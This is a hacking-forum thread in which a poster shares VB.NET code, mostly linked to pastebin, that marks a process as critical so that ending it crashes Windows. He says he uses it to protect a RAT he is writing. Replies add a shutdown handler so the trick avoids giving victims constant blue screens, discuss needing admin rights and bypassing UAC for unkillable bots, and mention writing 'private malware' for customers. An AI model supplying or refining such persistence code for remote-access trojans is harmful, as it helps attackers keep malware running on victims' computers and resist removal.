[Proton!]

This one you will like :) -- Very useful for RATs or programs that need protection! :)
I use this code in the RAT I am coding in this very moment! Basically once the file has been executed it will set the PROCESS_IS_CRITICAL flag onto itself so if someone /something tries to kill it, the computer will blue screen!

DaCode (Click to View)
http://pastebin.com/7AM6JZJE


Usage (Click to View)

Code

Public Sub ProtectMe()
      MsgBox("Press OK to set the process as critical!")
      If Protection.SetProcessIsCritical(True) Then
      MsgBox("The process is now critical, press OK to unsecure it!")
      Protection.SetProcessIsCritical(False)
      Else
      MsgBox("Failed to protect the process, did it run as administrator?")
      End If
    End Sub

If you liked this don't forget to leave some feedback 🎉

[TheBarret]

Its good that you show/share projects and source but why not put them into a single thread.

[Proton!]

Its good that you show/share projects and source but why not put them into a single thread.

I realize I should have, I just found went through my files, then once I found something interesting I posted the source, then went through more 😵

[xNeaples]

Actually this is a very nice method, thank you.

[TheBarret]

Actually this is a very nice method, thank you.

Its not new mate, if you try search (oh its so hard to use search..) you will get 10's (if not 100's) of threads that explain this method.

[xNeaples]

Its not new mate, if you try search (oh its so hard to use search..) you will get 10's (if not 100's) of threads that explain this method.

Never searched for a method, I was just looking around this section and saw this thread, decided to take a look, posted that because I've never seen this kind of thing. What's wrong for you with my post mate?

[IcYSeptember]

Don't forget to turn this protection off when the user is shutting down, so that he/she doesn't get a BSOD every time they shutdown their computer.
I could write some code for that, but I'm too lazy. I might change my mind in a bit.

[ninjahood]

thanks. it works if run as admin only. is it possible to make it works without run as admin?

[Proton!]

Don't forget to turn this protection off when the user is shutting down, so that he/she doesn't get a BSOD every time they shutdown their computer.
I could write some code for that, but I'm too lazy. I might change my mind in a bit.

That is what I am doing:

AddHandler Microsoft.Win32.SystemEvents.SessionEnding, AddressOf HandleSessionEnding

In Sub HandleSessionEnding, add the code:
Protection.SetProcessIsCritical(False)

---

thanks. it works if run as admin only. is it possible to make it works without run as admin?

No, I am afraid not -- It has to be run as administrator to get the required privileges.

[SIM-1456245]

Yesterday I found my version of this class in my files, now i see this, what a coincidance .

[IcYSeptember]

That is what I am doing:

AddHandler Microsoft.Win32.SystemEvents.SessionEnding, AddressOf HandleSessionEnding

In Sub HandleSessionEnding, add the code:
Protection.SetProcessIsCritical(False)

---

No, I am afraid not -- It has to be run as administrator to get the required privileges.

That's good.

And also, there are process persistence methods similar to this that don't require administrator privileges. I've got some code written in my (as of now) private C++ loader. The process can't be killed by a normal user if it's run by a normal user, but can be killed by an administrator (but the bot will restart). But if the bot is run as administrator, or bypasses UAC, then the bot can't be killed by a user or an administrator by using normal tools.

[Proton!]

That's good.

And also, there are process persistence methods similar to this that don't require administrator privileges. I've got some code written in my (as of now) private C++ loader. The process can't be killed by a normal user if it's run by a normal user, but can be killed by an administrator (but the bot will restart). But if the bot is run as administrator, or bypasses UAC, then the bot can't be killed by a user or an administrator by using normal tools.

That sounds like an amazing program you got there m8!

[IcYSeptember]

That sounds like an amazing program you got there m8!

Meh. It's nothing special.
I haven't been able to work on it lately because I've been working on customer's private malware.

But there's a lot of code already in that project, so...I don't want to give up on it.

[Proton!]

Meh. It's nothing special.
I haven't been able to work on it lately because I've been working on customer's private malware.

But there's a lot of code already in that project, so...I don't want to give up on it.

Yea I definitely understand that :)! - Keep up the good work bro!

[Menalix]

This is probally the most stupid function ever and is quite old.